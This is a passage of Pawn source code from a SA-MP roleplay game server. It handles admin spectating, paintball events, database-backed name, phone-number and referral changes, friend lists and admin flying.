	KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked, reason: AFK On Wanted longer than 5 minutes");
	return 1;
}

stock AdminWarn(string[])
{
	strins(string,AdminWarnMSG,0,512);
	ABroadCast(COLOR_AdminWarn,string,1);
	return 1;
}
stock ErrorMessage1(playerid)
{
	return SCM(playerid,COLOR_YouAreNotAdmin,YouAreNotAdminMSG);
}

stock PlayerNotConnected(playerid)
{
	return SCM(playerid,COLOR_PlayerNotConnected,PlayerNotConnectedMSG);
}

SpecPlayer(playerid,taraf)
{
	TogglePlayerSpectating(playerid,1);
	Specing[playerid] = 1;
	OnSpecPlayer[playerid] = taraf;
	return 1;
}
StopSpec(playerid)
{
	TogglePlayerSpectating(playerid,0);
	Specing[playerid] = 0;
	Specing2[playerid] = 0;
   // PlayerTextDrawHide(playerid,SpeedoTextDraw[OnSpecPlayer[playerid]]);
   // PlayerTextDrawHide(playerid,FuelTextDraw[OnSpecPlayer[playerid]]);
	//PlayerTextDrawHide(playerid,KiloTextDraw[OnSpecPlayer[playerid]]);
	//PlayerTextDrawHide(playerid,LockTD[OnSpecPlayer[playerid]]);
	OnSpecPlayer[playerid] = 9999;
	OnStopSpecing[playerid] = true;
	return 1;
}

CheckSpecing(playerid)
{
	if(Specing[playerid] >= 1)
	{
	if(IsPlayerConnected(OnSpecPlayer[playerid]))
	{
	if(IsPlayerConnected(playerid))
	{
	SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(OnSpecPlayer[playerid]));
	SetPlayerInterior(playerid,GetPlayerInterior(OnSpecPlayer[playerid]));
	if(IsPlayerInAnyVehicle(OnSpecPlayer[playerid]))
	{
	if(Specing2[playerid] != 2)
	{
	PlayerSpectateVehicle(playerid,GetPlayerVehicleID(OnSpecPlayer[playerid]));
	//PlayerTextDrawShow(playerid,SpeedoTextDraw[OnSpecPlayer[playerid]]);
   // PlayerTextDrawShow(playerid,FuelTextDraw[OnSpecPlayer[playerid]]);
	Specing[playerid] = 2;
	Specing2[playerid] = 2;
	if(OwnedMashin[GetPlayerVehicleID(OnSpecPlayer[playerid])] == 1 || OwnedMashin_2[GetPlayerVehicleID(OnSpecPlayer[playerid])] == 1)
	{
	//PlayerTextDrawShow(playerid,KiloTextDraw[OnSpecPlayer[playerid]]);
	//PlayerTextDrawShow(playerid,LockTD[OnSpecPlayer[playerid]]);
	Specing[playerid] = 3;
	}
	}
	}
	else
	{
	if(Specing[playerid] == 1)
	{
	if(Specing2[playerid] != 1)
	{
	PlayerSpectatePlayer(playerid,OnSpecPlayer[playerid]);
	Specing[playerid] = 1;
	Specing2[playerid] = 1;
	}
	}
	if(Specing[playerid] == 2)
	{
	if(Specing2[playerid] != 1)
	{
	//PlayerTextDrawHide(playerid,SpeedoTextDraw[OnSpecPlayer[playerid]]);
	//PlayerTextDrawHide(playerid,FuelTextDraw[OnSpecPlayer[playerid]]);
	PlayerSpectatePlayer(playerid,OnSpecPlayer[playerid]);
	Specing[playerid] = 1;
	Specing2[playerid] = 1;
	}
	}
	if(Specing[playerid] == 3)
	{
	if(Specing2[playerid] != 1)
	{
   // PlayerTextDrawHide(playerid,KiloTextDraw[OnSpecPlayer[playerid]]);
	//PlayerTextDrawHide(playerid,LockTD[OnSpecPlayer[playerid]]);
	PlayerSpectatePlayer(playerid,OnSpecPlayer[playerid]);
	Specing[playerid] = 1;
	Specing2[playerid] = 1;
	}
	}
	}
	}
	}
	else
	{
	SCM(playerid,COLOR_Good,"Player left the game.");
	StopSpec(playerid);
	}
	}
	return 1;
}

SetSpawnKol(playerid)
{
	//if(PINFO[playerid][pAdmin] > 0 || PINFO[playerid][pHelper] > 0) return SetSpawnInfo(playerid,gTeam[playerid],217,1642.339965,2240.929931,13.785160,0,0,0,0,0,0,0);
	if(IsInFaction(playerid)) return SetSpawnInfo(playerid,gTeam[playerid],PINFO[playerid][fSkin],1642.339965,2240.929931,13.785160,0,0,0,0,0,0,0);
	else return SetSpawnInfo(playerid,gTeam[playerid],PINFO[playerid][cSkin],1642.339965,2240.929931,13.785160,0,0,0,0,0,0,0);
	//SetPlayerSpawn(playerid);
}

/*ReturnEventID()
{
 new ReturnInT = 9999;
	for(new i = 0;i<MAX_PLAYERS;i++)
	{
	   if(EventIDUsed[i] == false)
	   {
		  ReturnInT = i;
		  break;
	   }
	}
	return ReturnInT;
}*/
ReturnAgentID()
{
	new ReturnInT = INVALID_PLAYER_ID;
	for(new i = 0;i<MAX_PLAYERS;i++)
	{
	   if(AgentContractIDUsed[i] == false)
	   {
		  ReturnInT = i;
		  break;
	   }
	}
	return ReturnInT;
}
ReturnContractID()
{
	new ReturnInT = INVALID_PLAYER_ID;
	for(new i = 0;i<MAX_PLAYERS;i++)
	{
	   if(ContractIDUsed[i] == false)
	   {
		  ReturnInT = i;
		  break;
	   }
	}
	return ReturnInT;
}
/*EventAdminSay(color, str[])
{
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PINFO[i][pAdmin] >= 1)
		  {
			 if(TogEvent[i] == false)
			 {
				SCM(i,color,str);
			 }
		  }
	   }
	}
	return 1;
}*/
EventSay(color, str[])
{
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(TogEvent[i] == false)
		  {
			 SWM(i,color,str);
		  }
	   }
	}
	return 1;
}
StopPaintBalling()
{
	PaintballStarted = 0;
	PaintBallStarting = 0;
	PaintBallPlayers = 0;
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(OnPaintBall[i] != 0)
		  {
			 SetPlayerPos(i,SBizzInfo[10][sbEntranceX],SBizzInfo[10][sbEntranceY],SBizzInfo[10][sbEntranceZ]);
			 SetPlayerVirtualWorld(i,0);
			 OnPaintBall[i] = 0;
			 Mahal[i] = 9999;
			 TooHouse[i] = 9999;
			 TooBiz[i] = 9999;
				hanuzna[i] = 0;
			 PaintBallKills[i] = 0;
			 PaintBallDeath[i] = 0;
			 ResetPlayerKolang(i);
			 SetPlayerKoon(true, i,100);
			 TogglePlayerControllable(i, 1);
				pbdg = 0;
				pbsl = 0;
				pbsg = 0;
				pbss = 0;
				pbcs = 0;
				pbmp = 0;
				pbsr = 0;
				pbak = 0;
				pbm4 = 0;
				pbcr = 0;
				TextDrawHideForPlayer(i, PaintBox);
				PlayerTextDrawHide(i, PaintKills[i]);
				PlayerTextDrawHide(i, PaintDeath[i]);
				TextDrawHideForPlayer(i, PaintBKiller);
				TextDrawHideForPlayer(i, PaintName);
				TextDrawHideForPlayer(i, PaintMostKills);
				TextDrawHideForPlayer(i, PaintTime);
				TextDrawHideForPlayer(i, PaintKhodeTime);
			 if(PaintBallLeadKills != 0)
			 {
				new lolii[256];
				format(lolii, 256, "The paintball has been finished, winner: %s(%i) with %i kills.", PINFO[PaintBallWinner][pName], PaintBallWinner, PaintBallLeadKills);
				SCM(i, COLOR_WHITE, lolii);
			 }
		  }
	   }
	}
	PaintBallWinner = INVALID_PLAYER_ID;
	PaintBallLeadKills = 0;
}
function OnPlayerChangeName(playerid,taraf,oldName[],tmp[])
{
	if(cache_get_row_count(handle) != 0) {gPlayerLogged[taraf] = 1; return SCM(playerid,COLOR_SINA3,"That name is already exist.");}
	new query[300];
	mysql_format(handle, query,sizeof query,"UPDATE `friends` SET pName='%e' WHERE pName='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle, query,sizeof query,"UPDATE `friends` SET pFriend='%e' WHERE pFriend='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `logs` SET Player='%e' WHERE Player='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `logs` SET Taraf='%e' WHERE Taraf='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `toys` SET Owner='%e' WHERE Owner='%e'",tmp, oldName);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle, query,sizeof query,"UPDATE `users` SET pName='%e' WHERE pID='%d'",tmp,PINFO[taraf][pID]);
	mysql_function_query(handle,query,false,"OnPlayerChangeName2","iiss",playerid,taraf,PINFO[taraf][pName],tmp);

	return 1;
}
function OnPlayerChangeNameShop(playerid,taraf,oldName[],tmp[])
{
	if(cache_get_row_count(handle) != 0) {gPlayerLogged[taraf] = 1; return SCM(playerid,COLOR_SINA3,"That name is already exist.");}
	new query[300];
	mysql_format(handle, query,sizeof query,"UPDATE `friends` SET pName='%e' WHERE pName='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `friends` SET pFriend='%e' WHERE pFriend='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `logs` SET Player='%e' WHERE Player='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `logs` SET Taraf='%e' WHERE Taraf='%e'",tmp,PINFO[taraf][pName]);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle,query,sizeof query,"UPDATE `toys` SET Owner='%e' WHERE Owner='%e'",tmp, oldName);
	mysql_function_query(handle,query,false,"SendQuery","");

	mysql_format(handle, query,sizeof query,"UPDATE `users` SET pName='%e' WHERE pID='%d'",tmp,PINFO[taraf][pID]);
	mysql_function_query(handle,query,false,"OnPlayerChangeNameShop2","iiss",playerid,taraf,PINFO[taraf][pName],tmp);

	PINFO[playerid][pGold] -= 600;
	SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
	SCM(playerid, COLOR_YELLOW, "[Shop]: Your nickname successfully changed.");

	return 1;
}
function OnPlayerChangeNameTT(playerid,taraf,oldName[],tmp[])
{
	if(cache_get_row_count(handle) != 0) {gPlayerLogged[taraf] = 1; return SCM(playerid,COLOR_SINA3,"That name is already exist.");}
	new query[300];
	mysql_format(handle, query,sizeof query,"UPDATE `users` SET pName='%e' WHERE pID='%d'",tmp,PINFO[taraf][pID]);
	mysql_function_query(handle,query,false,"OnPlayerChangeName2","iis[TT]s",playerid,taraf,PINFO[taraf][pName],tmp);
	return 1;
}
function OnPlayerChangeNameGG(playerid,taraf,oldName[],tmp[])
{
	if(cache_get_row_count(handle) != 0) {gPlayerLogged[taraf] = 1; return SCM(playerid,COLOR_SINA3,"That name is already exist.");}
	new query[300];

	mysql_format(handle, query,sizeof query,"UPDATE `users` SET pName='%e' WHERE pID='%d'",tmp,PINFO[taraf][pID]);
	mysql_function_query(handle,query,false,"OnPlayerChangeName2","ii[GG]ss",playerid,taraf,PINFO[taraf][pName],tmp);
	return 1;
}
function OnPlayerChangeName2(playerid,taraf,oldName[],tmp[])
{

	new Milaz[144];
	format(Milaz,sizeof(Milaz),"[INFO]:{00FF00} Admin %s changed your name (%s) to %s.",PINFO[playerid][pName],oldName,tmp);
	SCM(taraf,COLOR_AdminWarn,Milaz);
	format(Milaz,sizeof(Milaz),"{FFFFFF}Admin %s changed %s's nickname to %s",PINFO[playerid][pName],oldName,tmp);
	AdminWarn(Milaz);
	gPlayerLogged[taraf] = 1;

	AddLog(tmp, PINFO[playerid][pName], oldName, tmp, 11);

	RequestSelected[taraf] = false;
	new biz = PINFO[taraf][pPbiskey];
	new hh = PINFO[taraf][pPhousekey];
	if(biz != 9999)
	{
	   if(biz >= 500)
	   {
		  if(!strcmp(PINFO[taraf][pName], SBizzInfo[biz-500][sbOwner], true))
		  {
			 strmid(SBizzInfo[biz-500][sbOwner],tmp,0,strlen(tmp),40);
			 OnSbizUpdate(biz-500);
		  }
	   }
	   else
	   {
		  if(!strcmp(PINFO[taraf][pName], BizzInfo[biz][bOwner], true))
		  {
			 strmid(BizzInfo[biz][bOwner],tmp,0,strlen(tmp),40);
			 OnBizUpdate(biz);
		  }
	   }
	}
	if(hh != 9999)
	{
	   if(!strcmp(PINFO[taraf][pName], HouseInfo[hh][hOwner], true))
	   {
		  strmid(HouseInfo[hh][hOwner],tmp,0,strlen(tmp),40);
		  SaveKonStrH(hh, "hOwner", tmp);
	   }
	}
	SetPlayerName(taraf,tmp);
	strmid(PINFO[taraf][pName],tmp,0,strlen(tmp),40);
	new str[40];
	format(str , sizeof(str) , "%s_(%d)" , tmp, taraf);
	PlayerTextDrawSetString(taraf, TD_PlayerName[taraf] , str);

	if(PINFO[taraf][pClan] != 0) {
		new c2;
		c2 = PlayerInfo[taraf][pClan];
		GetPlayerTag(taraf);
		GivePlayerTag(taraf, DynamicClans[c2-1][cTag]);
	}
}
function OnPlayerChangeNameShop2(playerid,taraf,oldName[],tmp[])
{

	new ssttrr[256];
	format(ssttrr,256,"[Shop]: your name(%s) successfully changed to %s.",oldName,tmp);
	SCM(taraf,COLOR_YELLOW,ssttrr);
	gPlayerLogged[taraf] = 1;

	AddLog(tmp, PINFO[playerid][pName], oldName, tmp, 11);

	RequestSelected[taraf] = false;
	new biz = PINFO[taraf][pPbiskey];
	new hh = PINFO[taraf][pPhousekey];
	if(biz != 9999)
	{
	   if(biz >= 500)
	   {
		  if(!strcmp(PINFO[taraf][pName], SBizzInfo[biz-500][sbOwner], true))
		  {
			 strmid(SBizzInfo[biz-500][sbOwner],tmp,0,strlen(tmp),40);
			 OnSbizUpdate(biz-500);
		  }
	   }
	   else
	   {
		  if(!strcmp(PINFO[taraf][pName], BizzInfo[biz][bOwner], true))
		  {
			 strmid(BizzInfo[biz][bOwner],tmp,0,strlen(tmp),40);
			 OnBizUpdate(biz);
		  }
	   }
	}
	if(hh != 9999)
	{
	   if(!strcmp(PINFO[taraf][pName], HouseInfo[hh][hOwner], true))
	   {
		  strmid(HouseInfo[hh][hOwner],tmp,0,strlen(tmp),40);
		  SaveKonStrH(hh, "hOwner", tmp);
	   }
	}
	SetPlayerName(taraf,tmp);
	strmid(PINFO[taraf][pName],tmp,0,strlen(tmp),40);
	new str[40];
	format(str , sizeof(str) , "%s_(%d)" , tmp, taraf);
	PlayerTextDrawSetString(taraf, TD_PlayerName[taraf] , str);

	if(PINFO[taraf][pClan] != 0) {
		new c2;
		c2 = PlayerInfo[taraf][pClan];
		GetPlayerTag(taraf);
		GivePlayerTag(taraf, DynamicClans[c2-1][cTag]);
	}
}
SetPlayerNumber(playerid,ChangerID,newnumber)
{
	new query[256];
	mysql_format(handle, query,256,"SELECT * FROM `users` WHERE pPnumber='%d'",newnumber);
	mysql_function_query(handle,query,true,"OnUsersLoad","iii",playerid,ChangerID,newnumber);
	return 1;
}
Float:SetPlayerToFacePos(playerid, Float:X, Float:Y)
{
	new
		Float:pX1,
		Float:pY1,
		Float:pZ1,
		Float:ang;

	if(!IsPlayerConnected(playerid)) return 0.0;

	GetPlayerPos(playerid, pX1, pY1, pZ1);

	if( Y > pY1 ) ang = (-acos((X - pX1) / floatsqroot((X - pX1)*(X - pX1) + (Y - pY1)*(Y - pY1))) - 90.0);
	else if( Y < pY1 && X < pX1 ) ang = (acos((X - pX1) / floatsqroot((X - pX1)*(X - pX1) + (Y - pY1)*(Y - pY1))) - 450.0);
	else if( Y < pY1 ) ang = (acos((X - pX1) / floatsqroot((X - pX1)*(X - pX1) + (Y - pY1)*(Y - pY1))) - 90.0);

	if(X > pX1) ang = (floatabs(floatabs(ang) + 180.0));
	else ang = (floatabs(ang) - 180.0);

	ang += 180.0;

	SetPlayerFacingAngle(playerid, ang);

	return ang;
}
forward AdminFly(playerid);
public AdminFly(playerid)
{
	if(!IsPlayerConnected(playerid))
		return flying[playerid] = false;

	if(flying[playerid])
	{
		if(!IsPlayerInAnyVehicle(playerid))
		{
			new
				keys,
				ud,
				lr,
				Float:x[2],
				Float:y[2],
				Float:z;

			GetPlayerKeys(playerid, keys, ud, lr);
			GetPlayerVelocity(playerid, x[0], y[0], z);
			if(ud == KEY_UP)
			{
				GetPlayerCameraPos(playerid, x[0], y[0], z);
				GetPlayerCameraFrontVector(playerid, x[1], y[1], z);
			LoopingAnim(playerid, "PARACHUTE", "FALL_SkyDive_Accel", 4.1, 1, 1, 1, 1, 1);
				SetPlayerToFacePos(playerid, x[0] + x[1], y[0] + y[1]);
				SetPlayerVelocity(playerid, x[1], y[1], z);
			}
			else
			SetPlayerVelocity(playerid, 0.0, 0.0, 0.01);
		}

		SetTimerEx("AdminFly", 100, 0, "d", playerid);
	}

	return 0;
}

function OnUsersLoad(playerid,ChangerID,newnumber)
{
	if(cache_get_row_count(handle) <= 0)
	{
	   PINFO[playerid][pPnumber] = newnumber;
	   SaveKonVal(playerid, "pPnumber", newnumber);
	   if(ChangerID != INVALID_PLAYER_ID)
	   {
		  //new string[144];
		  //format(string, sizeof(string), "The player phone number was set to %s", FormatPhoneNumber(newnumber));
		  //SCM(ChangerID,COLOR_LIGHTRED,string);
		  new strr[144];
		  new ws[144];
		  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's phone number to %s", RPName(ChangerID), RPName(playerid), FormatPhoneNumber(newnumber));
	      ABroadCast(COLOR_AdminWarn,strr,1);
		  format(ws, sizeof(ws), "Admin %s sets your phone number to %s", RPName(ChangerID), FormatPhoneNumber(newnumber));
		  SendMessage(playerid, COLOR_LIGHTRED, ws);
		  
	   }
	}
	else
	{
	   if(ChangerID == INVALID_PLAYER_ID)
	   {
		  new rand = RandomShomare(1000000,9999999);
		  SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
	   }
	   else
	   {
		  new esm[40];
		  cache_get_row(0,0,esm,handle,40);
		  new string[144];
		  format(string,144,"Error: Player %s is already using this phone number.",esm);
		  SCM(playerid,COLOR_YELLOW2,string);
	   }
	}
	return 1;
}

SearchForReferral(playerid, id, lang)
{
	if(!IsPlayerConnected(playerid)) return 0;
	if(id == PINFO[playerid][pID])
	{
	   if(lang == 1) ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Etelaat moarefi","Referral id vared shode vojod nadarad.\n\nLotfan referral id an shakhs ra dar zir benevisid.","OK","Bargasht");
	   if(lang == 2) ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID information", "Invalid referral id\n\nPlease enter the referral id below", "OK", "Back");
	   return 1;
	}
	if(id > 0)
	{
	   new query[300];
	   mysql_format(handle, query, 300, "SELECT * FROM `users` WHERE pID='%d'", id);
	   mysql_function_query(handle, query, true, "OnReferralSearched", "ii", playerid, lang);
	   ReferralID[playerid] = id;
	   return 1;
	}
	if(lang == 1) ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Etelaat moarefi","Referral id vared shode vojod nadarad.\n\nLotfan referral id an shakhs ra dar zir benevisid.","OK","Bargasht");
	if(lang == 2) ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID information", "Invalid referral id\n\nPlease enter the referral id below", "OK", "Back");
	return 0;
}

function OnReferralSearched(playerid, lang)
{
	new row = cache_get_row_count(handle);
	if(row == 0)
	{
	   if(lang == 1) return ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Etelaat moarefi","Referral id vared shode vojod nadarad.\n\nLotfan referral id an shakhs ra dar zir benevisid.","OK","Bargasht");
	   if(lang == 2) return ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID information", "Invalid referral id\n\nPlease enter the referral id below", "OK", "Back");
	}
	new esmt[40],string[200];
	cache_get_row(0, 0, esmt, handle, 40);
	if(lang == 1) format(string, 200, "Aya motmaen hastid ke %s inja ra be shoma moarrefi karde ast?",esmt);
	if(lang == 2) format(string, 200, "Are you sure %s invited to play this server?",esmt);
	if(lang == 1) ShowPlayerDialog(playerid, 980, DIALOG_STYLE_MSGBOX, "Referral Information", string, "Bale", "Kheyr");
	if(lang == 2) ShowPlayerDialog(playerid, 980, DIALOG_STYLE_MSGBOX, "Referral Information", string, "Yes", "No");
	return 1;
}
SearchFriend(playerid, id)
{
	   new query[300];
	   mysql_format(handle, query, 300, "SELECT * FROM `friends` WHERE pName='%e' AND pFriend='%e'", PlayerInfo[playerid][pName], PlayerInfo[id][pName]);
	   mysql_function_query(handle, query, true, "OnFriendSearch", "i", playerid);
	   ReferralID[playerid] = id;
		return 1;
}

function OnFriendSearch(playerid)
{
	new row = cache_get_row_count(handle);
	new id = ReferralID[playerid];
	if(row == 0)
	{



	new st[512];
	format(st, sizeof(st), "You are now friends with %s(%d).",PlayerInfo[id][pName],id);

	//new st2[512];
	//format(st2, sizeof(st2), "%s(%d) added you on his/her friends list.",PlayerInfo[playerid][pName],playerid);


	//SCM(id, COLOR_LIGHTBLUE, st2);
	SCM(playerid, COLOR_LIGHTBLUE, st);

	new query[512];
	mysql_format(handle, query, 512, "INSERT INTO `friends` (`pName`,`pFriend`,`pID`)VALUES ('%e','%e','%d')",PINFO[playerid][pName],PlayerInfo[id][pName],PINFO[playerid][pFriends]);
	mysql_tquery(handle, query, "SendQuery", "");

	PlayerInfo[playerid][pFriends] += 1;
	SaveKonVal(playerid, "pFriends", PlayerInfo[playerid][pFriends]);


	return 1;
	}

	new st[512];
	format(st, sizeof(st), "Error: There is %s(%d) in your friends list ",PlayerInfo[id][pName],id);
	SCM(playerid, COLOR_YELLOW2, st);

	return 1;
}
stock SearchAReferral(playerid, id)
{
	if(!IsPlayerConnected(playerid)) return 0;
	if(id > 0)
	{
	   new query[300];
	   mysql_format(handle, query, 300, "SELECT * FROM `users` WHERE pID='%d'", id);
	   mysql_function_query(handle, query, true, "OnReferralSearchS", "i", playerid);
	   ReferralID[playerid] = id;
	   return 1;
	}
	new xxx=PINFO[RefD[playerid]][pID];
	new query[512];
	PlayerInfo[RefD[playerid]][pID] = id;
	SaveKonVal(RefD[playerid], "pID", PlayerInfo[RefD[playerid]][pID]);
    mysql_format(handle, query, sizeof(query), "UPDATE `cskins` SET `pID`='%d' WHERE `pID`='%d'", id, xxx);
    mysql_function_query(handle,query,false,"SendQuery","");
	new sender[40];
	new giver[40];
	GetPlayerName(playerid, sender, sizeof(sender));
	GetPlayerName(RefD[playerid], giver, sizeof(giver));
	new string[144];
	format(string, 144, "[Admin-Warn]: {FFFFFF}Admin %s given referral %d to %s.", sender, ReferralID[playerid], giver);

	ABroadCast(COLOR_AdminWarn,string,1);
	return 0;
}

public SendRandomMessage()
{
	static lastmessage = 0;
	new rand = random(CURRENT_MESSAGES);
	while(rand == lastmessage && CURRENT_MESSAGES != 1)	{ rand = random(CURRENT_MESSAGES);  }
	lastmessage = rand;
	SendClientMessageToAll(COLOR_WHITE, RM[lastmessage]);
}

stock AddRandomMessage(text[])
{
	for(new m; m < CURRENT_MESSAGES; m++)
	{
		if(!strlen(RM[m]))
		{
			strmid(RM[m], text, 0, 10000);
			return 1;
		}
	}
	return 0;
}


function OnReferralSearchS(playerid)
{
	new row = cache_get_row_count(handle);
	if(row == 0)
	{
	new xxx=PINFO[RefD[playerid]][pID];
	new query[512];
	PlayerInfo[RefD[playerid]][pID] = ReferralID[playerid];
	SaveKonVal(RefD[playerid], "pID", PlayerInfo[RefD[playerid]][pID]);
	new sender[40];
	new giver[40];
	GetPlayerName(playerid, sender, sizeof(sender));
	GetPlayerName(RefD[playerid], giver, sizeof(giver));
	new string[144];
	format(string, 144, "[Admin-Warn]: {FFFFFF}Admin %s given referral %d to %s.", sender,ReferralID[playerid],giver);
	ABroadCast(COLOR_AdminWarn,string,1);
    mysql_format(handle, query, sizeof(query), "UPDATE `cskins` SET `pID`='%d' WHERE `pID`='%d'", ReferralID[playerid], xxx);
    mysql_function_query(handle,query,false,"SendQuery","");
	return 1;
	}
	new esmt[40],string2[200];
	cache_get_row(0, 0, esmt, handle, 40);
	format(string2, 200, "Error: %s using this referral",esmt);
	SCM(playerid, COLOR_RED, string2);
	return 1;
}
stock ChangeWeather()
{
	new rand = random(21);
	SetWeather(rand);
}

function IsPlayerInWater(playerid)
{
	new animationIndex = GetPlayerAnimationIndex(playerid);
	return (animationIndex >= 1538 && animationIndex <= 1544 && animationIndex != 1542);
}

function IsPlayerSpawned(playerid)
{
	new playerState = GetPlayerState(playerid);
	return ((playerState >= 1 && playerState <= 6) || playerState == 8);
}

function IsPlayerInVehicleFireMode(playerid)
{
	return (GetPlayerCameraMode(playerid) == 55);
}
/*
CreateVehGarage(playerid)
{
			 new model = PlayerInfo[playerid][cModel];
			 new Float:posx = PlayerInfo[playerid][cLocationx];
			 new Float:posy = PlayerInfo[playerid][cLocationy];
			 new Float:posz = PlayerInfo[playerid][cLocationz];
			 new Float:angle = PlayerInfo[playerid][cAngle];
			 new color1 = PlayerInfo[playerid][cColor1];
			 new color2 = PlayerInfo[playerid][cColor2];
			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);
			 if(PlayerInfo[playerid][cHealth] <= 249.9)
			 {
				PlayerInfo[playerid][cHealth] = 1000.0;
				SaveKonFloat(playerid, "cHealth", 1000);
				if(PINFO[playerid][cInsurance] <= 0)
				{
					PINFO[playerid][cFixed] = 0;
					SaveKonVal(playerid, "cFixed", 0);
				}
				else
				{
					PINFO[playerid][cInsurance] --;
					SaveKonVal(playerid, "cInsurance", PINFO[playerid][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid,PlayerInfo[playerid][cPlate]);
			 PlayerInfo[playerid][pCar] = carid;
			 SaveKonVal(playerid, "pCar", carid);
			 Benzin[carid] = PlayerInfo[playerid][cFuel];
			 SetVehicleHealth(carid,PlayerInfo[playerid][cHealth]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,PINFO[playerid][cPanel],PINFO[playerid][cDoors],PINFO[playerid][cLights],PINFO[playerid][cTires]);
			 PlayerInfo[playerid][cLock] = 1;
			 SaveKonVal(playerid, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(carid,i,0,PINFO[playerid][cLock]);
			 }
			 SetVehiclePos(carid, PINFO[playerid][gLocationX], PINFO[playerid][gLocationY], PINFO[playerid][gLocationZ]);
			 SetVehicleZAngle(carid, PINFO[playerid][gAngle]);
			 PINFO[playerid][gParked] = 0;
			 SaveKonVal(playerid, "gParked", 0);
			 return 1;
}
CreateVehGarage_2(playerid)
{
			 new model = PlayerInfo[playerid][cModel_2];
			 new Float:posx = PlayerInfo[playerid][cLocationx_2];
			 new Float:posy = PlayerInfo[playerid][cLocationy_2];
			 new Float:posz = PlayerInfo[playerid][cLocationz_2];
			 new Float:angle = PlayerInfo[playerid][cAngle_2];
			 new color1 = PlayerInfo[playerid][cColor1_2];
			 new color2 = PlayerInfo[playerid][cColor2_2];
			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);
			 if(PlayerInfo[playerid][cHealth_2] <= 249.9)
			 {
				PlayerInfo[playerid][cHealth_2] = 1000.0;
				SaveKonFloat(playerid, "cHealth_2", 1000);
				if(PINFO[playerid][cInsurance_2] <= 0)
				{
					PINFO[playerid][cFixed_2] = 0;
					SaveKonVal(playerid, "cFixed_2", 0);
				}
				else
				{
					PINFO[playerid][cInsurance_2] --;
					SaveKonVal(playerid, "cInsurance_2", PINFO[playerid][cInsurance_2]);
				}
			 }
			 OwnedMashin_2[carid] = 1;
			 MashinOwner_2[carid] = playerid;
			 SetVehicleNumberPlate(carid,PlayerInfo[playerid][cPlate_2]);
			 PlayerInfo[playerid][pCar_2] = carid;
			 SaveKonVal(playerid, "pCar_2", carid);
			 Benzin[carid] = PlayerInfo[playerid][cFuel_2];
			 SetVehicleHealth(carid,PlayerInfo[playerid][cHealth_2]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,PINFO[playerid][cPanel_2],PINFO[playerid][cDoors_2],PINFO[playerid][cLights_2],PINFO[playerid][cTires_2]);
			 PlayerInfo[playerid][cLock_2] = 1;
			 SaveKonVal(playerid, "cLock_2", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(carid,i,0,PINFO[playerid][cLock_2]);
			 }
			 SetVehiclePos(carid, PINFO[playerid][gLocationX_2], PINFO[playerid][gLocationY_2], PINFO[playerid][gLocationZ_2]+0.5);
			 SetVehicleZAngle(carid, PINFO[playerid][gAngle_2]);
			 PINFO[playerid][gParked_2] = 0;
			 SaveKonVal(playerid, "gParked_2", 0);
			 return 1;
}
CreateVehGarage_3(playerid)
{
			 new model = PlayerInfo[playerid][cModel_3];
			 new Float:posx = PlayerInfo[playerid][cLocationx_3];
			 new Float:posy = PlayerInfo[playerid][cLocationy_3];
			 new Float:posz = PlayerInfo[playerid][cLocationz_3];
			 new Float:angle = PlayerInfo[playerid][cAngle_3];
			 new color1 = PlayerInfo[playerid][cColor1_3];
			 new color2 = PlayerInfo[playerid][cColor2_3];
			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);
			 if(PlayerInfo[playerid][cHealth_3] <= 249.9)
			 {
				PlayerInfo[playerid][cHealth_3] = 1000.0;
				SaveKonFloat(playerid, "cHealth_3", 1000);
				if(PINFO[playerid][cInsurance_3] <= 0)
				{
					PINFO[playerid][cFixed_3] = 0;
					SaveKonVal(playerid, "cFixed_3", 0);
				}
				else
				{
					PINFO[playerid][cInsurance_3] --;
					SaveKonVal(playerid, "cInsurance_3", PINFO[playerid][cInsurance_3]);
				}
			 }
			 OwnedMashin_3[carid] = 1;
